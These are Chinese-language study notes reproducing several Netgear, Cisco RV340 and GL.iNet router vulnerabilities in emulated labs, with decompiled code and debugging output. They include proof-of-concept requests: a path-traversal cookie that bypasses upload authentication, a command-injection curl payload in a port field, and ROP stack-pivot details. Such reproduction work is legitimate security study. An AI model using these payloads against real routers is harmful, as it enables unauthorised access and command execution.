一些路由器漏洞复现

前言

一些漏洞的学习笔记,比较的潦草,只是记录一下😊😊😊😊

CVE-2024-52028

Netgear R7000P v1.3.3.154 被发现通过 wiz_pptp.cgi 上的 pptp_user_netmask 参数存在堆栈溢出。此漏洞允许攻击者通过精心设计的 POST 请求引发拒绝服务 (DoS)。

固件链接:https://www.netgear.com/support/product/r7000p/#download

usr/sbin/httpd

没找到!

Netgear XR300 v1.0.3.78、R7000P v1.3.3.154 和 R6400 v2 1.0.4.128 被发现通过 bsw_pppoe.cgi 的 pppoe_localip 参数包含堆栈溢出。此漏洞允许攻击者通过精心设计的 POST 请求引发拒绝服务 (DoS)。

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
case 4:
if ( input_length > *limits )
return -1;
for ( check_index2 = 0; check_index2 < input_length; ++check_index2 )
{
char_code4 = (unsigned __int8)input_str[check_index2];
is_invalid_number4 = char_code4 > '.';
if ( char_code4 != '.' )
is_invalid_number4 = (unsigned __int8)(char_code4 - '0') > 9u;
if ( is_invalid_number4 )
return -1;
}
sscanf(input_str, "%[^.].%[^.].%[^.].%s", ip_buffer1, ip_buffer2, ip_buffer3, ip_buffer4);
//栈溢出
if ( !ip_buffer1[0] )
return -1;
if ( strlen(ip_buffer1) > 3 )
return -1;

input_str最大长度为2048,但是ip_buffer1-4的长度都很小,且没有开始的判断,数字的溢出Dos

CVE-2022-20705

RV340的环境搭建:从报错出发,尝试解决影响较大的报错,辅以调试或者寻找资料https://www.yuque.com/cyberangel/rg9gdm/zz75e4

Cisco Small Business RV160、RV260、RV340 和 RV345 系列路由器中的多个漏洞可能允许攻击者执行以下任何操作:执行任意代码、提升权限、执行任意命令、绕过身份验证和授权保护、获取并运行未签名的软件、导致拒绝服务 (DoS)

该CVE主要是利用了nginx配置不恰当导致的授权绕过漏洞

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}

location /upload {
set $deny 1;

if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}

if ($deny = "1") {
return 403;
}

upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}

因为$cookie_sessionid可控,所以可以将其指向../../../etc/passwd,就可以绕过登录。该问题产生的根本原因在于($cookie_sessionid可控导致目录穿越)

写个Poc测试:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
url='https://192.168.121.128/upload'
headers_1={'Cookie':'sessionid=cyberangel'} # 非法的sessionid
headers_2={'Cookie':'sessionid=../../../etc/passwd'} # 伪造的sessionid
r_1 = requests.post(url,headers=headers_1,verify=False)
r_2 = requests.post(url,headers=headers_2,verify=False)
print(r_1.text)
print("-"*50)
print(r_2.text)
r_1.close()
r_2.close()
~/fr/_/_/_f/_/_openwrt-comcerto2000-hgw-r/ubifs-root/1161918421 --------------------------------------------------------------
> python3 test1.py
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

--------------------------------------------------
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>

可以发现换了一种报错,说明就是绕过去了,但是后续还有检查

plaintext
1
upload_pass /form-file-upload;

指定当文件上传完成后,将请求转发到 /form-file-upload 路径

plaintext
1
2
3
4
5
6
7
8
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}

调用了uwsgi_params,通过127.0.0.1:9003,全局搜索:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true

调用upload.cgi对其进行处理,分析upload.cgi

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( httpCookieEnv )
{
StrBufSetStr(parsedCookieBuffer, httpCookieEnv);
httpCookieEnv = 0;
cookieValue = (char *)StrBufToStr(parsedCookieBuffer);
for ( parsedToken = strtok_r(cookieValue, ";", &strtokSavePtr);
parsedToken;
parsedToken = strtok_r(0, ";", &strtokSavePtr) )// strtok对每一个;进行切割,并传递;前的参数
{
sessionIdPtr = strstr(parsedToken, "sessionid=");// 找到;sessionid=
if ( sessionIdPtr )
httpCookieEnv = sessionIdPtr + 10; // 这是sessionid=value的value
}
}

此处从httpCookie寻找;sessionid=value

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else if ( !strcmp(requestUriEnv, "/upload")
&& httpCookieEnv
&& strlen(httpCookieEnv) - 0x10 <= 0x40// sessionid的长度<=0x40
&& !match_regex("^[A-Za-z0-9+=/]*$", httpCookieEnv) )// 正则匹配,字母和数字
{
destinationParsed = parsedDestinationBuffer;
uploadOption = parsedOptionBuffer;
parameterType = parsedFileTypeBuffer;
completeFileBufferPath = StrBufToStr(filePathWrapperBuffer);
sub_12684(
httpCookieEnv,
destinationParsed,
uploadOption,
parameterType,
completeFileBufferPath,
parsedCertNameBuffer,
parsedCertTypeBuffer,
parsedPasswordBuffer);
}

要求存在sessionid,因此还要设置sessionid

如此便可未授权上传文件

plaintext
1
2
3
import request
url='https://192.168.121.128/upload'
headers={'Cookie':'sessionid=../../../etc/passwd;sessionid='}

image-20250226195154748

浏览器cookie条目为:Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA=(base64解码为cisco/192.168.121.138/2220)

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@Router:~/rootfs/tmp/websession# cat session
{
"max-count":1,
"cisco":{
"Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA=":{
"user":"cisco",
"group":"admin",
"time":2344,
"access":1,
"timeout":1800,
"leasetime":0
}
}
}root@Router:~/rootfs/tmp/websession# cat ./token/Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA\=

import requests
url='https://192.168.121.128/upload'
headers={'Cookie':'sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA=;'}
r = requests.post(url,headers=headers,verify=False)
print(r.text)
~/fr/_/_/_f/_/_openwrt-comcerto2000-hgw-r/ubifs-root/1161918421 --------------------------------------------------------------
> python3 test2.py
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>

这时候仔细分析upload.cgi

plaintext
1
2
3
4
5
6
if ( !parsedFilePathBuffer )
{
puts("Content-type: text/html\n");
printf("Error Input");
goto LABEL_36;
}

这个地方得跳过,因此file.path需存在

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __fastcall sub_115D0(const char *a1, const char *a2, const char *a3)
{
bool v3; // zf
const char *v8; // r4
int v9; // r4
char s[316]; // [sp+Ch] [bp-13Ch] BYREF

v3 = a3 == 0;
if ( a3 )
v3 = a1 == 0;
if ( v3 )
return -1;
if ( !strcmp(a1, "Firmware") )
{
v8 = "/tmp/firmware";
}
else if ( !strcmp(a1, "Configuration") )
{
v8 = "/tmp/configuration";
}
else if ( !strcmp(a1, "Certificate") )
{
v8 = "/tmp/in_certs";
}
else if ( !strcmp(a1, "Signature") )
{
v8 = "/tmp/signature";
}
else if ( !strcmp(a1, "3g-4g-driver") )
{
v8 = "/tmp/3g-4g-driver";
}
else if ( !strcmp(a1, "Language-pack") )
{
v8 = "/tmp/language-pack";
}
else if ( !strcmp(a1, "User") )
{
v8 = "/tmp/user";
}
else
{
if ( strcmp(a1, "Portal") )
return -1;
v8 = "/tmp/www";
}
if ( !is_file_exist(a2) )
return -2;
if ( strlen(a2) > 0x80 || strlen(a3) > 0x80 )
return -3;
if ( match_regex((int)"^[a-zA-Z0-9_.-]*$", (int)a3) )
return -4;
sprintf(s, "mv -f %s %s/%s", a2, v8, a3);
debug("cmd=%s", s);
if ( !s[0] )
return -1;
v9 = system(s);
if ( v9 < 0 )
error((int)"upload.cgi: %s(%d) Upload failed!", (int)"prepare_file", (const char *)0xB3);
return v9;
}

这个是上传文件的逻辑,因此a1和a3也得存在,即pathparam和fileparam

CVE-2022-20707

一些函数:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall json_object_object_add(int a1, const char *a2, int a3)
{
int v6; // r0
int v7; // r4
int v8; // r4
char *v9; // r0
int result; // r0

v6 = j_lh_table_lookup_entry(*(_DWORD *)(a1 + 24));
v7 = v6;
if ( v6 )
{
result = *(_DWORD *)(v6 + 4);
if ( result )
result = j_json_object_put();
*(_DWORD *)(v7 + 4) = a3;
}
else
{
v8 = *(_DWORD *)(a1 + 24);
v9 = strdup(a2);
return j_lh_table_insert(v8, (int)v9, a3);
}
return result;
}

这段代码是一个用于向 JSON 对象中添加键值对的函数。它使用了一个哈希表来存储对象的键值对。以下是对代码的详细分析:

参数

  • a1:表示 JSON 对象的指针。
  • a2:表示要添加的键。
  • a3:表示要添加的值。

在sub_12684中,如果传入的文件类型是Firmware:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall sub_117E0(int destination, int fileparam, int uploadOption)
{
bool isZeroFlag; // zf
int jsonObjRpc; // r5
int jsonObjParams; // r4
int jsonObjInput; // r7
int jsonObjSource; // r10
int jsonObjDestination; // r8
int jsonStrRpcVersion; // r0
int jsonStrMethod; // r0
int jsonStrRpcAction; // r0
int jsonStrFileType; // r0
int locationUrlStr; // r0
int jsonStrLocationUrl; // r0
int jsonStrFirmwareState; // r0
int jsonStrRebootType; // r0
int jsonObjFirmwareOption; // [sp+4h] [bp-34h]
int strBuf; // [sp+Ch] [bp-2Ch] BYREF

isZeroFlag = fileparam == 0;
if ( fileparam )
isZeroFlag = destination == 0;
if ( isZeroFlag )
return 0;
if ( !uploadOption )
return 0;
jsonObjRpc = json_object_new_object();
jsonObjParams = json_object_new_object();
jsonObjInput = json_object_new_object();
jsonObjSource = json_object_new_object();
jsonObjDestination = json_object_new_object();
jsonObjFirmwareOption = json_object_new_object();
strBuf = StrBufCreate();
StrBufSetStr(strBuf, "FILE://Firmware/");
StrBufAppendStr(strBuf, fileparam);
jsonStrRpcVersion = json_object_new_string("2.0");
json_object_object_add(jsonObjRpc, (int)"jsonrpc", jsonStrRpcVersion);
jsonStrMethod = json_object_new_string("action");
json_object_object_add(jsonObjRpc, (int)"method", jsonStrMethod);
json_object_object_add(jsonObjRpc, (int)"params", jsonObjInput);
jsonStrRpcAction = json_object_new_string("file-copy");
json_object_object_add(jsonObjInput, (int)"rpc", jsonStrRpcAction);
json_object_object_add(jsonObjInput, (int)"input", jsonObjParams);
jsonStrFileType = json_object_new_string("firmware");
json_object_object_add(jsonObjParams, (int)"fileType", jsonStrFileType);
json_object_object_add(jsonObjParams, (int)"source", jsonObjSource);
locationUrlStr = StrBufToStr(strBuf);
jsonStrLocationUrl = json_object_new_string(locationUrlStr);
json_object_object_add(jsonObjSource, (int)"location-url", jsonStrLocationUrl);
json_object_object_add(jsonObjParams, (int)"destination", jsonObjDestination);
jsonStrFirmwareState = json_object_new_string(destination);
json_object_object_add(jsonObjDestination, (int)"firmware-state", jsonStrFirmwareState);
json_object_object_add(jsonObjParams, (int)"firmware-option", jsonObjFirmwareOption);
jsonStrRebootType = json_object_new_string(uploadOption);
json_object_object_add(jsonObjFirmwareOption, (int)"reboot-type", jsonStrRebootType);
StrBufFree(&strBuf);
return jsonObjRpc;
}

简单分析得出jsonObjRpc是:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"jsonrpc": "2.0",
"method": "action",
"params": {
"rpc": "file-copy",
"input": {
"fileType": "firmware",
"source": {
"location-url": "FILE://Firmware/[fileparam]"
},
"destination": {
"firmware-state": "[destination]"
},
"firmware-option": {
"reboot-type": "[uploadOption]"
}
}
}
}

然后接下来是

plaintext
1
2
3
4
5
6
7
8
9
10
11
json_object = operation_result;
if ( !operation_result )
goto LABEL_19;
json_string = (const char *)json_object_to_json_string(operation_result);
sprintf(
curl_command_buffer,
"curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type: application/json' -d '%s'",
url,
session_id,
json_string);
curl_output_file = popen(curl_command_buffer, "r");

可以看到json_string是通过operation_result得到的,而opration_result就是上述的json结果,而json部分字符串是可控的,因此显然可以进行命令的注入

CVE-2022-20700(会话伪造)

通过上述命令执行的漏洞,创建/tmp/websession/下的文本文件(虽然到了最后,环境还是没有成功依靠自己启起来,但是我用了cyberangel师傅之前启用的debian,也是成功啦!!!!!太ql)

PSV-2020-0211(栈溢出利用RCE)

netgear R8300 1.0.2.130 的upnp中存在栈溢出的漏洞,主要学习利用手法,NVram hook手法,Poc编写 以及 调试技巧

  • **UPnP (Universal Plug and Play)**:现在由开放连接基金会管理的是一套网络协议,它允许网络设备无缝地发现彼此在网络上的存在,并为数据共享、通信和娱乐建立功能网络服务。

UPnP会将某个端口连接到多播组,即允许接收其他客户端传输数据(一对多)【或许就是通过这个来使得网络设备可以无缝发现彼此扒】

image-20250228222327229

漏洞看着是很简单的,但是由于sub_25E04是通过strcpy来栈溢出的,因此\x00截断便是不可绕过的障碍,而原作者的利用手法值得学习

启动服务:这次使用用户模式运行

因为涉及到nvram,使用LD_PRELOAD Hook技术,网上有人已经写好了针对netgear R6250/6400的nvram hook,对于R8300也是适用的 https://github.com/therealsaumil/custom_nvram/blob/master/custom_nvram_r6250.c

使用buildroot进行交叉编译

plaintext
1
2
3
4
cd ~/buildroot-2024.11/output/host/bin 
export PATH=$PATH:$(pwd)
arm-linux-gcc -c -O2 -fPIC -Wall ./nvram1.c -o ./nvram1.o
arm-linux-gcc -shared -nostdlib ./nvram1.o -o ./nvram1.so

之后创建/tmp/nvram.ini

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
upnpd_debug_level=9
lan_ipaddr=192.168.122.167
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

之后的lan_ipaddr还要连接,因此要把ip起起来

plaintext
1
2
sudo ip addr add 192.168.122.167/24 dev virbr0
ip addr show virbr0

显示对应的ip就代表成功啦

之后

plaintext
1
2
3
4
5
sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./nvram1.so ./lib/libdl.so.0" ./usr/sbin/upnpd
sudo lsof -i | grep qemu
qemu-arm- 6267 root 3u IPv4 93141 0t0 UDP *:1900
qemu-arm- 6267 root 4u IPv4 93142 0t0 UDP *:45791
qemu-arm- 6267 root 5u IPv4 93143 0t0 TCP *:5000 (LISTEN)

如此程序就起起来了,就可以开始Poc的编写了

调试:

plaintext
1
sudo chroot . ./qemu-arm-static -g 1234 -E LD_PRELOAD="./nvram1.so ./lib/libdl.so.0" ./usr/sbin/upnpd

一开始傻呗了,忘记了用户模式可以直接调试,直接attach pid调试调的是qemu的进程()

main函数中有

plaintext
1
2
3
4
5
6
if ( daemon(1, 1) == -1 )
{
debug(3, "Fail to run as daemon");
v13 = _errno_location();
exit(*v13);
}

daemon使得当前进程会变成守护进程并保持工作目录不变,但是这个会让该进程脱离gdb的控制,考虑nop掉,成功~

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 R0   0x61616161 ('aaaa')
R1 0xfffed504 ◂— 0x61616161 ('aaaa')
R2 0xfffed504 ◂— 0x61616161 ('aaaa')
R3 0x61616161 ('aaaa')
R4 0x61
R5 0xfffed500 ◂— 0x61616161 ('aaaa')
R6 0xfffed504 ◂— 0x61616161 ('aaaa')
R7 0xfffed500 ◂— 0x61616161 ('aaaa')
R8 0xfffed504 ◂— 0x61616161 ('aaaa')
R9 0x10ab
R10 0x1
R11 0xc4584 ◂— 7
R12 0x553dc —▸ 0xff60393c ◂— push {r4, lr} /* 0xe92d4010 */
SP 0xfffeceb8 ◂— 0x61616161 ('aaaa')
PC 0xff603954 ◂— ldrb ip, [r3] /* 0xe5d3c000 */
──────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]──────────────────────────────────────────────────────────
0xff603948 ldrb r4, [r2]
0xff60394c cmp r4, #0
0xff603950 popeq {r4, pc}
► 0xff603954 ldrb ip, [r3]
0xff603958 cmp r4, ip
0xff60395c addeq r2, r2, #1
0xff603960 addeq r3, r3, #1
0xff603964 beq #0xff603948 <0xff603948>

0xff603948 ldrb r4, [r2]
0xff60394c cmp r4, #0
0xff603950 popeq {r4, pc}
──────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffeceb8 ◂— 0x61616161 ('aaaa')
01:0004│ 0xfffecebc —▸ 0xb62c ◂— subs r7, r0, #0 /* 0xe2507000 */
02:0008│ 0xfffecec0 —▸ 0xfffedefd ◂— 0x61616161 ('aaaa')
03:000c│ 0xfffecec4 —▸ 0xfffed574 ◂— 0x61616161 ('aaaa')
04:0010│ 0xfffecec8 —▸ 0x8df9 ◂— 0xad
05:0014│ 0xfffececc —▸ 0xfffef5f4 ◂— mrchs p9, #1, r3, c2, c1, #1 /* 0x2e323931; '192.168.122.1' */
06:0018│ 0xfffeced0 —▸ 0xfffed500 ◂— 0x61616161 ('aaaa')
07:001c│ 0xfffeced4 —▸ 0x25e80 ◂— subs sl, r0, #0 /* 0xe250a000 */
────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────
► f 0 0xff603954
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

发送大量数据就成功发现栈溢出漏洞

漏洞利用:

plaintext
1
2
3
4
5
6
7
8
frimware/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root 
> checksec ./usr/sbin/upnpd
[*] '/home/s1nec-1o/frimware/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root/usr/sbin/upnpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

没pie,就启用了nx

SSD 公开的漏洞细节中给出了一个方案:通过 stack reuse 的方式来绕过该限制。具体思路为,先通过 socket 发送第一次数据,往栈上填充相应的 rop payload,同时保证不会造成程序崩溃;再通过 socket 发送第二次数据用于覆盖栈上的返回地址,填充的返回地址用来实现 stack pivot,即劫持栈指针使其指向第一次发送的 payload 处,然后再复用之前的 payload 以完成漏洞利用。SSD 公开的漏洞细节中的示意图如下。

image-20250301114232391

这里借用的ROP有

plaintext
1
2
3
.text:000230F0                 ADD             SP, SP, #0x20C
.text:000230F4 ADD SP, SP, #0x1000
.text:000230F8 POP {R4-R11,PC}

升栈并且pop出所有关键寄存器,如此只需要提前构造好对应的payload就可以进行ROP啦!

但是我在构造的时候总是发现它会失败,就算是运行的是发布者写的poc()总是断在一些奇怪的地方,研究许久后放弃,了解利用手法即可,reuse stack!

CVE-2024-39226

plaintext
1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

这是Poc,发现通过本地/rpc访问,因此看/rpc的api

plaintext
1
2
3
location = /rpc {
content_by_lua_file /usr/share/gl-ngx/oui-rpc.lua;
}

通过/usr/share/gl-ngx/oui-rpc.lua;文件处理

定义了多种方法,Poc中使用call方法给出params变量(oui-rpc.lua定义了很多的方法,通过参数method传入)

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
local function rpc_method_call(id, params)
if #params < 3 then ---params 至少三个参数
local resp = rpc.error_res ponse(id, rpc.ERROR_CODE_INVALID_PARAMS)
ngx.say(cjson.encode(resp))
return
end

local sid, object, method, args = params[1], params[2], params[3], params[4] -- "" "s2s" "enable_echo_server" "{"port": "7 $(touch /root/test)"}"

if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
ngx.say(cjson.encode(resp))
return
end

if args and type(args) ~= "table" then ---- 上述为一些参数类型的验证
local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
ngx.say(cjson.encode(resp))
return
end

ngx.ctx.sid = sid

if not rpc.is_no_auth(object, method) then
if not rpc.access("rpc", object .. "." .. method) then --- 通过本地调用是不需要进行身份验证的
local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS)
ngx.say(cjson.encode(resp))
return
end
end

local res = rpc.call(object, method, args) --- 调用rpc.lua 下的 call 并传入参数
if type(res) == "number" then
local resp = rpc.error_response(id, res)
ngx.say(cjson.encode(resp))
return
end

if type(res) ~= "table" then res = {} end

local resp = rpc.result_response(id, res)
ngx.say(cjson.encode(resp))
end
M.call = function(object, method, args) -- s2s enable_echo_server {"port": "7 $(touch /root/test)"}
ngx.log(ngx.DEBUG, "call: '", object, ".", method, "'")

if not objects[object] then
local script = "/usr/lib/oui-httpd/rpc/" .. object
if not fs.access(script) then --- 调用 fs 的 access函数,即判断是否存在该 脚本
return glc_call(object, method, args)
end

local ok, tb = pcall(dofile, script) -- 使用 pcall 安全执行 dofile 加载脚本 ,tb是函数表
if not ok then --- 因为 s2s.so 是二进制脚本 无法正常pcall加载 调用glc_call
ngx.log(ngx.ERR, tb)
return glc_call(object, method, args)
end

if type(tb) == "table" then
local funs = {}
for k, v in pairs(tb) do
if type(v) == "function" then
funs[k] = v
end
end
objects[object] = funs
end
end

local fn = objects[object] and objects[object][method] --- 无法调用
if not fn then
return glc_call(object, method, args) ---使用glc_call 参数s2s enable_echo_server {....}
end

return fn(args)
end

调用glc_call:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
local function glc_call(object, method, args)   --- s2s enable_echo_server {....}
ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'")

local res = ngx.location.capture("/cgi-bin/glc", { ---- 发起一个内部请求到 /cgi-bin/glc POST请求 参数如下(这是Openresty平台的lua用法)
method = ngx.HTTP_POST,
body = cjson.encode({
object = object,
method = method,
args = args or {}
})
})

if res.status ~= ngx.HTTP_OK then return M.ERROR_CODE_INTERNAL_ERROR end

local body = res.body
local code = tonumber(body:match("(-?%d+)"))

if code ~= M.ERROR_CODE_NONE then
local err_msg = body:match("%d+ (.+)")
if err_msg then
ngx.log(ngx.ERR, err_msg)
end
return code
end

local msg = body:match("%d+ (.*)")

return cjson.decode(msg)
end

/cgi-bin/glc:

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
  snprintf(rpc_lib_path, 0x80u, "%s/%s.so", "/usr/lib/oui-httpd/rpc", v30);//v30由params[1]传入,为s2s
dl_handle = dlopen(rpc_lib_path, 2); // 动态加载共享库
dl_handle_copy = dl_handle;
if ( !dl_handle )
{
dl_error_msg = dlerror();
printf("%d dlopen: %s", -32601, dl_error_msg);
goto LABEL_37;
}
json_rpc_function = (int (__fastcall *)(int, int))dlsym(dl_handle, name); //加载符号 name由params[2]传入
if ( json_rpc_function )
{
if ( argc > 3 )
json_params = json_loads((int)argv[3], 0, 0); // json_params
if ( !json_params )
json_params = ::json_object();
json_object_new = ::json_object();
json_response_object = json_object_new;
if ( logging_enabled )
{
__gl_log(69505, 116, 0, "glc call meth %s/%s\n", v30, name);
json_rpc_return = json_rpc_function(json_params, json_response_object); // 以json_params为参数调用json_rpc_function,即上述params[1]的params[2]函数
__gl_log(69505, 118, 0, "glc call end,ret = %d\n", json_rpc_return);
printf("%d", json_rpc_return);
if ( json_rpc_return )
{
LABEL_30:
sub_10990(json_params);
sub_10990(json_response_object);
goto LABEL_41;
}
json_response_str = (const char *)json_dumps(json_response_object, 0);
__gl_log(69505, 121, 0, "glc call result %s\n", json_response_str);
}
else
{
json_rpc_call = json_rpc_function(json_params, json_object_new);
printf("%d", json_rpc_call);
if ( json_rpc_call )
goto LABEL_30;
}
final_response_str = (const char *)json_dumps(json_response_object, 0);
printf(" %s", final_response_str);
goto LABEL_30;
}

可以得到调用的是s2s.so文件的enable_echo_server函数

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
backupValue = *(_DWORD *)off_16FC0;
memset(commandBuffer, 0, sizeof(commandBuffer));
portObject = json_object_get(jsonInput, "port"); ///从参数中获取port键值对
portString = (const char *)json_string_value(portObject); //获取键值
if ( *portString )
{
portValue = portString;
if ( atoi(portString) > 0 && atoi(portValue) <= 65534 ) /// 只比较了大小,没有检查类型
{
if ( check_file_is_exist("/usr/bin/echo_server") )
{
formatCommand = (void (*)(_BYTE *, int, const char *, ...))snprintf_0;
snprintf_0(commandBuffer, 128, "kill -9 $(pgrep -f \"%s\")", "/usr/bin/echo_server");
executeCommand = (int (__fastcall *)(_BYTE *))system_0;
system_0(commandBuffer);
formatCommand(commandBuffer, 128, "%s -p %s -f", "/usr/bin/echo_server", portValue);//命令执行
commandOutput = executeCommand(commandBuffer);

可以看到这个命令注入显然是执行本地注入的